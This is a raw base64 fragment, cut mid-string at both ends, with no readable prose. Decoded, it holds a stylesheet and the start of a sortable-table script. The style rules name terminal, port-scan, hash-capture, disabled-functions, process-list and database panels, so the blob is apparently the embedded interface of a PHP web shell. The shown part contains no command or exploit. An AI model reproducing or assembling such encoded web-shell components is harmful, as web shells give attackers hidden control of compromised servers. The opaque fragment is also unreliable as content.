oOjc1cHg7cGFkZGluZy1yaWdodDoxNXB4fQ0KCWlmcmFtZXtiYWNrZ3JvdW5kOnZhcigtLXR4dC1ob3Zlci1jb2xvcil9DQoJZmllbGRzZXQge2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO2NvbG9yOnZhcigtLWNvbG9yKTt3aWR0aDoxMDAlO3BhZGRpbmc6MTVweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7bWluLWhlaWdodDoxNTRweH0NCgl0ZXh0YXJlYSB7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7Y29sb3I6dmFyKC0tY29sb3IpO3dpZHRoOjEwMCU7cGFkZGluZzoxNXB4O21pbi1oZWlnaHQ6MzAwcHg7b3V0bGluZTpub25lO2JveC1zaXppbmc6Ym9yZGVyLWJveDtyZXNpemU6bm9uZX0NCglpbnB1dFt0eXBlPXN1Ym1pdF17YmFja2dyb3VuZDp2YXIoLS1idXR0b24tY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtjb2xvcjp2YXIoLS10eHQtY29sb3IpO2xpbmUtaGVpZ2h0OjI1cHg7cGFkZGluZzowIDEwcHg7Y3Vyc29yOnBvaW50ZXI7b3V0bGluZTpub25lfQ0KCWlucHV0W3R5cGU9c3VibWl0XTpob3ZlcntiYWNrZ3JvdW5kOnZhcigtLWJ1dHRvbi1ob3Zlci1jb2xvcik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItaG92ZXItY29sb3IpfQ0KCWlucHV0W3R5cGU9dGV4dF17YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtsaW5lLWhlaWdodDogMTVweDtjb2xvcjp2YXIoLS1jb2xvcik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO3dpZHRoOjIwMHB4O3BhZGRpbmc6NXB4O291dGxpbmU6bm9uZTtib3gtc2l6aW5nOmJvcmRlci1ib3h9DQoJaW5wdXRbdHlwZT1udW1iZXJde2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7bGluZS1oZWlnaHQ6IDE1cHg7Y29sb3I6dmFyKC0tY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTt3aWR0aDoyMDBweDtwYWRkaW5nOjVweDtvdXRsaW5lOm5vbmU7Ym94LXNpemluZzpib3JkZXItYm94fQ0KCWlucHV0W3R5cGU9ZmlsZV17YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtsaW5lLWhlaWdodDogMTVweDtjb2xvcjp2YXIoLS1jb2xvcik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO3dpZHRoOjIwMHB4O3BhZGRpbmc6MnB4O291dGxpbmU6bm9uZTtib3gtc2l6aW5nOmJvcmRlci1ib3h9DQoJc2VsZWN0e2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7Y29sb3I6dmFyKC0tY29sb3IpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTt3aWR0aDoyMDBweDtwYWRkaW5nOjVweDtvdXRsaW5lOm5vbmU7Ym94LXNpemluZzpib3JkZXItYm94fQ0KCSN3cmFwcGVye3dpZHRoOjkzJTttYXJnaW46MzdweCBhdXRvIDQwcHh9DQoJI2luZm97bWFyZ2luOjAgMCAyM3B4IDA7cGFkZGluZzowIDEzcHggMCAwfQ0KCSNoZWFkZXJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTAwJX0NCgkuaGVhZGVyLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo2NiV9DQoJLmhlYWRlci1yaWdodHtmbG9hdDpyaWdodDt3aWR0aDozNCV9DQoJI2Nvbm5lY3R7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTAwJX0NCgkuY29ubmVjdC1sZWZ0e2Zsb2F0OmxlZnQ7d2lkdGg6NDklfQ0KCS5jb25uZWN0LXJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjQ5JX0NCgkjZGF0YWJhc2Utc2Vzc2lvbntkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxMDAlfQ0KCS5kYXRhYmFzZS1xdWVyeXtmbG9hdDpsZWZ0O3dpZHRoOjQ5JX0NCgkuZGF0YWJhc2UtcHJvY2Vzc3tmbG9hdDpyaWdodDt3aWR0aDo0OSV9DQoJI3BocHtkaXNwbGF5OmlubGluZS1ibG9ja30NCgkucGhwLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo0OSV9DQoJLnBocC1yaWdodHtmbG9hdDpyaWdodDt3aWR0aDo0OSV9DQoJLmRpdmlkZXt3aWR0aDoxMDAlO2Rpc3BsYXk6aW5saW5lLWJsb2NrfQ0KCS5kaXZpZGUtbGVmdHtmbG9hdDpsZWZ0O3dpZHRoOjUwJX0NCgkuZGl2aWRlLXJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjUwJX0NCgkubWFpbCBpbnB1dFt0eXBlPXRleHRde3dpZHRoOjEwMCU7ZGlzcGxheTpibG9ja30NCgkuZGF0YWJhc2UtYnJlYWRjcnVtYnttYXJnaW46MTBweCAwIDA7ZGlzcGxheTppbmxpbmUtYmxvY2s7Zm9udC1zdHlsZTogaXRhbGljO30NCgkjdXBkYXRle3RleHQtYWxpZ246Y2VudGVyfQ0KCSNwaHAtY29uZmlndXJhdGlvbnt0ZXh0LWFsaWduOmNlbnRlcn0NCgkuZXJyb3J7YW5pbWF0aW9uOmJsaW5rZXIgMXMgbGluZWFyIGluZmluaXRlO2JhY2tncm91bmQ6dmFyKC0tY29sb3IpO2NvbG9yOnZhcigtLWJhY2tncm91bmQtY29sb3IpO3BhZGRpbmc6MTBweDttYXJnaW46MTBweDt9DQoJI2xvZ297bWFyZ2luOjAgMCAyM3B4IDA7cGFkZGluZzoyM3B4IDAgMjNweCAwO2JvcmRlci10b3A6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKX0NCgkuY29udGVudHtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7cGFkZGluZzoxMHB4O292ZXJmbG93OmF1dG87b3ZlcmZsb3cteTpoaWRkZW59DQoJI3Byb2Nlc3MtbGlzdHtwYWRkaW5nOjI1cHg7bWFyZ2luOjI1cHggYXV0byAwcHg7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO292ZXJmbG93OnNjcm9sbDtvdmVyZmxvdy15OmhpZGRlbn0NCgkjcHJvY2Vzcy1saXN0IHN7dGV4dC1kZWNvcmF0aW9uOm5vbmV9DQoJLnRvb2xzLWhlYWRlcnttYXJnaW4tYm90dG9tOjIwcHg7cGFkZGluZy1ib3R0b206MjVweDt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpfQ0KCS5tZW51e292ZXJmbG93OmhpZGRlbjtib3JkZXItdG9wOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7bWFyZ2luOjEwcHggMH0NCgkubWVudSA+IHVse2xpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjB9DQoJLm1lbnUgPiB1bCA+IGxpe21hcmdpbjowIDNweCAwIDA7cGFkZGluZzoxMHB4IDdweCAxMHB4IDdweDtkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnR9DQoJLm1lbnUgPiB1bCA+IGxpOmhvdmVye2N1cnNvcjpwb2ludGVyfQ0KCS5tZW51LXRvb2xze292ZXJmbG93OmhpZGRlbjtib3JkZXItdG9wOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7bWFyZ2luOjEwcHggMH0NCgkubWVudS10b29scyA+IHVse2xpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjB9DQoJLm1lbnUtdG9vbHMgPiB1bCA+IGxpe21hcmdpbjowIDNweCAwIDA7cGFkZGluZzoxMHB4IDdweCAxMHB4IDdweDtkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnR9DQoJLm1lbnUtdG9vbHMgPiB1bCA+IGxpOmhvdmVye2N1cnNvcjpwb2ludGVyfQ0KCS5tZW51LWRpcmVjdG9yeXs7bWFyZ2luLWJvdHRvbToxMHB4fQ0KCS5uZXd7bWFyZ2luLXJpZ2h0OjE1cHg7fQ0KCS5oYXNoIGxhYmVse21pbi13aWR0aDo0MHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmctcmlnaHQ6MTVweH0NCgkuaGFzaC1jYXB0dXJlIGxhYmVse21hcmdpbjoxMHB4IDA7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQoJLmhhc2ggaW5wdXRbdHlwZT1yYWRpb117bWFyZ2luLXJpZ2h0OjEwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246bWlkZGxlfQ0KCS5hdXRvLW51bWJlciB0YWJsZXtjb3VudGVyLXJlc2V0OnJvd199DQoJLmF1dG8tbnVtYmVyIHRhYmxlIHRib2R5IHRyIHRkOmZpcnN0LWNoaWxke2NvdW50ZXItaW5jcmVtZW50OnJvd187dmVydGljYWwtYWxpZ246bWlkZGxlO3RleHQtYWxpZ246Y2VudGVyfQ0KCS5hdXRvLW51bWJlciB0YWJsZSB0Ym9keSB0ciB0ZDpmaXJzdC1jaGlsZDo6YmVmb3Jle2NvbnRlbnQ6Y291bnRlcihyb3dfKX0NCgkjdGl0bGV7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjQ0cHg7bWFyZ2luOjA7Y29sb3I6dmFyKC0tdHh0LWNvbG9yKTttYXJnaW4tYm90dG9tOjE1cHh9DQoJI3N1YnRpdGxle3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToyMnB4O21hcmdpbjowO2NvbG9yOnZhcigtLXR4dC1jb2xvcik7bWFyZ2luLXRvcDo4cHh9DQoJI3Rvb2xze21pbi1oZWlnaHQ6MTI1cHg7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6NXB4fQ0KCSNhY2NvdW50e21pbi1oZWlnaHQ6MTAwcHg7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6NXB4fQ0KCSN0aGFua3N7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7Zm9udC1mYW1pbHk6Y291cmllcjtwYWRkaW5nOjUlIDB9DQoJI2Zvb3RlcnttYXJnaW46MjVweCBhdXRvfQ0KCSNjb3B5cmlnaHRze3RleHQtYWxpZ246Y2VudGVyfQ0KCSNwYWdlbG9hZHt0ZXh0LWFsaWduOmNlbnRlcn0NCgkjcXVlcnl7bWFyZ2luLXRvcDoxMHB4fQ0KCSNkYXRhYmFzZS1xdWVyeXtvdmVyZmxvdzphdXRvO21hcmdpbjoxMHB4IDB9DQoJI2hleGR1bXB7aGVpZ2h0OjMwMHB4O292ZXJmbG93OmF1dG87b3ZlcmZsb3cteDpoaWRkZW59DQoJI3Rlcm1pbmFse21pbi1oZWlnaHQ6MTAwcHg7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6NXB4fQ0KCSN0ZXJtaW5hbC1pbnB1dHtib3JkZXI6bm9uZX0NCgkjY3VyZGlyLXRlcm1pbmFse21pbi13aWR0aDoxMHB4fQ0KCSNkYXRhYmFzZXttaW4taGVpZ2h0OjEwMHB4O3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjVweH0NCgkjZGF0YWJhc2UgbGFiZWx7d2lkdGg6MTAwcHg7cGFkZGluZzo1cHg7bWFyZ2luLXJpZ2h0OjEwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQoJI3BvcnQtc2NhbiBsYWJlbHt3aWR0aDoxMDBweDtwYWRkaW5nOjVweDttYXJnaW4tcmlnaHQ6MTBweDtkaXNwbGF5OmlubGluZS1ibG9ja30NCgkjcGhwaW5mbyB0YWJsZXttYXJnaW46MjVweCAwfQ0KCSNwaHBpbmZvIHRyOm50aC1jaGlsZChvZGQpe2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcil9DQoJI3BocGluZm8gdHI6bnRoLWNoaWxkKGV2ZW4pe2JhY2tncm91bmQ6dmFyKC0tYm9yZGVyLWNvbG9yKX0NCgkjcGhwaW5mbyB0ZCx0aHtwYWRkaW5nOjVweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcil9DQoJI3BocGluZm8gaDF7bWFyZ2luOjEwcHggMH0NCgkjcGhwaW5mbyBoMnttYXJnaW46MTBweCAwfQ0KCSNwaHBpbmZvLmV7d2lkdGg6MjAwcHh9DQoJI3BocGluZm8udnt3b3JkLWJyZWFrOmJyZWFrLXdvcmR9DQoJI3BocGluZm8gaW1ne2Rpc3BsYXk6bm9uZX0NCgkjcGhwaW5mbyBocntib3JkZXI6bm9uZX0NCgkubGluZSBoMntwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MTJweDt3aWR0aDoxMDBweDtkaXNwbGF5OmlubGluZTtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO3BhZGRpbmc6MCAxMHB4O2NvbG9yOnZhcigtLXR4dC1jb2xvcil9DQoJLmxpbmV7Ym9yZGVyLWJvdHRvbToycHggc29saWQgdmFyKC0tY29sb3IpO3RleHQtYWxpZ246Y2VudGVyO3dpZHRoOjI4N3B4O21hcmdpbjphdXRvfQ0KCS50YWJsZSB7d2lkdGg6MTAwJTttYXJnaW46MTBweCAwfQ0KCS50YWJsZSB0ZCx0aHtwYWRkaW5nOjVweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7bWF4LXdpZHRoOjI1MHB4O21pbi13aWR0aDoyNXB4fQ0KCS50YWJsZSB0ZC5rYW5hbnt3b3JkLWJyZWFrOmJyZWFrLXdvcmR9DQoJLnRhYmxlIHRkLmtpcml7d2lkdGg6MzAlfQ0KCS50YWJsZSB0cjpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOnZhcigtLXRhYmxlLW9kZC1jb2xvcil9DQoJLnRhYmxlIHRyOm50aC1jaGlsZChldmVuKXtiYWNrZ3JvdW5kOnZhcigtLXRhYmxlLWV2ZW4tY29sb3IpfQ0KCS50YWJsZSB0cjpob3ZlciB0ZHtiYWNrZ3JvdW5kOnZhcigtLXRhYmxlLWhvdmVyLWNvbG9yKX0NCgkudGFibGUgdGZvb3QgdGR7cGFkZGluZzoxMHB4O3RleHQtYWxpZ246Y2VudGVyfQ0KCS5kYXRhYmFzZS10YWJsZSA+IHRkLnRhYmxlIHt3b3JkLWJyZWFrOm5vcm1hbDt9DQoJLm1hcC1zd2l0Y2h7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQoJLmZvcm0tZml4e21hcmdpbjotMTVweCAwfQ0KCS5mcm1zb3VyY2V7bWFyZ2luLXRvcDoxMHB4fQ0KCS5oZXhkdW1we3dpZHRoOjEwMCU7cGFkZGluZzo1cHg7bWFyZ2luLWJvdHRvbTo1cHh9DQoJLmhleGR1bXAgdGR7dGV4dC1hbGlnbjpsZWZ0fQ0KCS5oaWdobGlnaHR7YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTt3b3JkLWJyZWFrOmJyZWFrLXdvcmQ7cGFkZGluZzoxNXB4O21hcmdpbi1ib3R0b206NXB4O2hlaWdodDozMDBweDtvdmVyZmxvdzphdXRvfQ0KCS5oYXNoLWNhcHR1cmV7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTAwJX0NCgkuaGFzaC1jYXB0dXJlLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo0OSV9DQoJLmhhc2gtY2FwdHVyZS1yaWdodHtmbG9hdDpyaWdodDt3aWR0aDo0OSV9DQoJLmNscntjbGVhcjpib3RofQ0KCS5vbntjb2xvcjp2YXIoLS10eHQtY29sb3IpfQ0KCS5vZmZ7Y29sb3I6cmVkfQ0KCS5yZXN1bHR7cGFkZGluZzoxMHB4fQ0KCS5zb3J0YWJsZSB0aGVhZHtjdXJzb3I6cG9pbnRlcn0NCgkuZGlzYWJsZWZ1bmN7b3ZlcmZsb3ctd3JhcDpicmVhay13b3JkfQ0KCS5sb2FkaW5ne3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt3aWR0aDoxNnB4O2hlaWdodDoxNnB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQ6dXJsKCdkYXRhOmltYWdlL2dpZjtiYXNlNjQsUjBsR09EbGhFQUFRQVBJQUFBQUFBUC8vL3p3OFBMeTh2UC8vLzV5Y25IeDhmR3hzYkNIK0drTnlaV0YwWldRZ2QybDBhQ0JoYW1GNGJHOWhaQzVwYm1adkFDSDVCQUFLQUFBQUlmOExUa1ZVVTBOQlVFVXlMakFEQVFBQUFDd0FBQUFBRUFBUUFBQURNd2k2M1A0d3lrbHJFMk1JT2dnWm5BZE9tR1lKUmJFeHdyb1VtY0cyTG1ERXduSFFMVnNZT2QybUJ6a1lEQWRLYStkSUFBQWgrUVFBQ2dBQkFDd0FBQUFBRUFBUUFBQUROQWk2M1A1T2pDRWdHNFFNdTdEbWlrUnhRbEZVWURFWklHQk1SVnNhcUh3Y3RYWGY3V0VZQjRBZzF4amloa01ac2lVa0toSUFJZmtFQUFvQUFnQXNBQUFBQUJBQUVBQUFBellJdWpJaks4cEJ5SkRNbEZZdkJvVmpIQTcwR1U3eFNVSmhtS3R3SFBBS3pMTzlITWFvS3dKWjdSZjhBWVBERHpLcFpCcWZ2d1FBSWZrRUFBb0FBd0FzQUFBQUFCQUFFQUFBQXpNSXVtSWxLOG95aHBIc25GWmZoWXVtQ1lVaERBUXhSSWRoSEJHcVJvS3cwUjhEWWxKZDh6MGZNRGdzR28vSXBISTVUQUFBSWZrRUFBb0FCQUFzQUFBQUFCQUFFQUFBQXpJSXVuSW5LMHJuWkJUd0dQTk1nUXdtZHNOZ1hHSlVsSVdFdVI1b1dVSXB6OHBBRUFNZTZUd2Z3eVlzR28vSXBGS1NBQUFoK1FRQUNnQUZBQ3dBQUFBQUVBQVFBQUFETXdpNklNS1FPUmZqZE9lODJwNHdHY2NjNENFdVFyYWR5bGVzb2pFTUJnc1VjMkc3c0RYM2xRR0JNTEFKaWJ1ZmJTbEtBQUFoK1FRQUNnQUdBQ3dBQUFBQUVBQVFBQUFETWdpNjNQN3dDUkhabkZWZG1nSHUybkZ3bFdDSTNXR2MzVFNXaFVGR3hUQVVrR0NidGdFTkJNSkFFSnN4Z01MV3pwRUFBQ0g1QkFBS0FBY0FMQUFBQUFBUUFCQUFBQU15Q0xyYy9qREtTYXRsUXRTY0tkY2VDQWpESUk3SGNRNEVNVENweXJDdVVCakNZUmdIVnRxbEFpQjFZaGlDbmxzUmtBQUFPd0FBQUFBQUFBQUFBQT09Jyl9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZGVhbl9hZGRFdmVudCh0LGUscil7aWYodC5hZGRFdmVudExpc3RlbmVyKXQuYWRkRXZlbnRMaXN0ZW5lcihlLHIsITEpO2Vsc2V7ci4kJGd1aWR8fChyLiQkZ3VpZD1kZWFuX2FkZEV2ZW50Lmd1aWQrKyksdC5ldmVudHN8fCh0LmV2ZW50cz17fSk7dmFyIG89dC5ldmVudHNbZV07b3x8KG89dC5ldmVudHNbZV09e30sdFsib24iK2VdJiYob1swXT10WyJvbiIrZV0pKSxvW3IuJCRndWlkXT1yLHRbIm9uIitlXT1oYW5kbGVFdmVudH19ZnVuY3Rpb24gcmVtb3ZlRXZlbnQodCxlLHIpe3QucmVtb3ZlRXZlbnRMaXN0ZW5lcj90LnJlbW92ZUV2ZW50TGlzdGVuZXIoZSxyLCExKTp0LmV2ZW50cyYmdC5ldmVudHNbZV0mJmRlbGV0ZSB0LmV2ZW50c1tlXVtyLiQkZ3VpZF19ZnVuY3Rpb24gaGFuZGxlRXZlbnQodCl7dmFyIGU9ITA7dD10fHxmaXhFdmVudCgoKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50KTt2YXIgcj10aGlzLmV2ZW50c1t0LnR5cGVdO2Zvcih2YXIgbyBpbiByKXRoaXMuJCRoYW5kbGVFdmVudD1yW29dLCExPT09dGhpcy4kJGhhbmRsZUV2ZW50KHQpJiYoZT0hMSk7cmV0dXJuIGV9ZnVuY3Rpb24gZml4RXZlbnQodCl7cmV0dXJuIHQucHJldmVudERlZmF1bHQ9Zml4RXZlbnQucHJldmVudERlZmF1bHQsdC5zdG9wUHJvcGFnYXRpb249Zml4RXZlbnQuc3RvcFByb3BhZ2F0aW9uLHR9dmFyIHN0SXNJRT0hMTtpZihzb3J0dGFibGU9e2luaXQ6ZnVuY3Rpb24oKXthcmd1bWVudHMuY2FsbGVlLmRvbmV8fChhcmd1bWVudHMuY2FsbGVlLmRvbmU9ITAsX3RpbWVyJiZjbGVhckludGVydmFsKF90aW1lciksZG9jdW1lbnQuY3JlYXRlRWxlbWVudCYmZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUmJihzb3J0dGFibGUuREFURV9SRT0vXihcZFxkPylbXC9cLi1dKFxkXGQ/KVtcL1wuLV0oKFxkXGQpP1xkXGQpJC8sZm9yRWFjaChkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGFibGUiKSxmdW5jdGlvbih0KXstMSE9dC5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRhYmxlXGIvKSYmc29ydHRhYmxlLm1ha2VTb3J0YWJsZSh0KX0pKSl9LG1ha2VTb3J0YWJsZTpmdW5jdGlvbih0KXtpZigwPT10LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpLmxlbmd0aCYmKHRoZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0aGVhZCIpLHRoZS5hcHBlbmRDaGlsZCh0LnJvd3NbMF0pLHQuaW5zZXJ0QmVmb3JlKHRoZSx0LmZpcnN0Q2hpbGQpKSxudWxsPT10LnRIZWFkJiYodC50SGVhZD10LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpWzBdKSwxPT10LnRIZWFkLnJvd3MubGVuZ3RoKXtzb3J0Ym90dG9tcm93cz1bXTtmb3IoZT0wO2U8dC5yb3dzLmxlbmd0aDtlKyspLTEhPXQucm93c1tlXS5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRib3R0b21cYi8pJiYoc29ydGJvdHRvbXJvd3Nbc29ydGJvdHRvbXJvd3MubGVuZ3RoXT10LnJvd3NbZV0pO2lmKHNvcnRib3R0b21yb3dzKXtudWxsPT10LnRGb290JiYodGZvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRmb290IiksdC5hcHBlbmRDaGlsZCh0Zm8pKTtmb3IoZT0wO2U8c29ydGJvdHRvbXJvd3MubGVuZ3RoO2UrKyl0Zm8uYXBwZW5kQ2hpbGQoc29ydGJvdHRvbXJvd3NbZV0pO2RlbGV0ZSBzb3J0Ym90dG9tcm93c31oZWFkcm93PXQudEhlYWQucm93c1swXS5jZWxscztmb3IodmFyIGU9MDtlPGhlYWRyb3cubGVuZ3RoO2UrKyloZWFkcm93W2VdLmNsYXNzTmFtZS5tYXRjaCgvXGJzb3J0dGFibGVfbm9zb3J0XGIvKXx8KG10Y2g9aGVhZHJvd1tlXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlXyhbYS16MC05XSspXGIvKSxtdGNoJiYob3ZlcnJpZGU9bXRjaFsxXSksbXRjaCYmImZ1bmN0aW9uIj09dHlwZW9mIHNvcnR0YWJsZVsic29ydF8iK292ZXJyaWRlXT9oZWFkcm93W2VdLnNvcnR0YWJsZV9zb3J0ZnVuY3Rpb249c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOmhlYWRyb3dbZV0uc29ydHRhYmxlX3NvcnRmdW5jdGlvbj1zb3J0dGFibGUuZ3Vlc3NUeXBlKHQsZSksaGVhZHJvd1tlXS5zb3J0dGFibGVfY29sdW1uaW5kZXg9ZSxoZWFkcm93W2VdLnNvcnR0YWJsZV90Ym9keT10LnRCb2RpZXNbMF0sZGVhbl9hZGRFdmVudChoZWFkcm93W2VdLCJjbGljayIsc29ydHRhYmxlLmlubmVyU29ydEZ1bmN0aW9uPWZ1bmN0aW9uKHQpe2lmKC0xIT10aGlzLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydHRhYmxlX3NvcnRlZFxiLykpcmV0dXJuIHNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuc29ydHRhYmxlX3Rib2R5KSx0aGlzLmNsYXNzTmFtZT10aGlzLmNsYXNzTmFtZS5yZXBsYWNlKCJzb3J0dGFibGVfc29ydGVkIiwic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiksdGhpcy5yZW1vdmVDaGlsZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRmd2RpbmQiKSksc29ydHJldmluZD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzcGFuIiksc29ydHJldmluZC5pZD0ic29ydHRhYmxlX3NvcnRyZXZpbmQiLHNvcnRyZXZpbmQuaW5uZXJIVE1MPXN0SXNJRT8nJm5ic3A8Zm9udCBmYWNlPSJ3ZWJkaW5ncyI+NTwvZm9udD4nOiImbmJzcDsmI3gyNUI0OyIsdm9pZCB0aGlzLmFwcGVuZENoaWxkKHNvcnRyZXZpbmQpO2lmKC0xIT10aGlzLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlXGIvKSlyZXR1cm4gc29ydHRhYmxlLnJldmVyc2UodGhpcy5zb3J0dGFibGVfdGJvZHkpLHRoaXMuY2xhc3NOYW1lPXRoaXMuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIsInNvcnR0YWJsZV9zb3J0ZWQiKSx0aGlzLnJlbW92ZUNoaWxkKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpKSxzb3J0ZndkaW5kPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKSxzb3J0ZndkaW5kLmlkPSJzb3J0dGFibGVfc29ydGZ3ZGluZCIsc29ydGZ3ZGluZC5pbm5lckhUTUw9c3RJc0lFPycmbmJzcDxmb250IGZhY2U9IndlYmRpbmdzIj42PC9mb250Pic6IiZuYnNwOyYjeDI1QkU7Iix2b2lkIHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCk7dGhlYWRyb3c9dGhpcy5wYXJlbnROb2RlLGZvckVhY2godGhlYWRyb3cuY2hpbGROb2RlcyxmdW5jdGlvbih0KXsxPT10Lm5vZGVUeXBlJiYodC5jbGFzc05hbWU9dC5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwiIiksdC5jbGFzc05hbWU9dC5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsIiIpKX0pLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIiksc29ydGZ3ZGluZCYmc29ydGZ3ZGluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRmd2RpbmQpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0cmV2aW5kIiksc29ydHJldmluZCYmc29ydHJldmluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRyZXZpbmQpLHRoaXMuY2xhc3NOYW1lKz0iIHNvcnR0YWJsZV9zb3J0ZWQiLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIixzb3J0ZndkaW5kLmlubmVySFRNTD1zdElzSUU/JyZuYnNwPGZvbnQgZmFjZT0id2ViZGluZ3MiPjY8L2ZvbnQ+JzoiJm5ic3A7JiN4MjVCRTsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCkscm93X2FycmF5PVtdLGNvbD10aGlzLnNvcnR0YWJsZV9jb2x1bW5pbmRleCxyb3dzPXRoaXMuc29ydHRhYmxlX3Rib2R5LnJvd3M7Zm9yKGU9MDtlPHJvd3MubGVuZ3RoO2UrKylyb3dfYX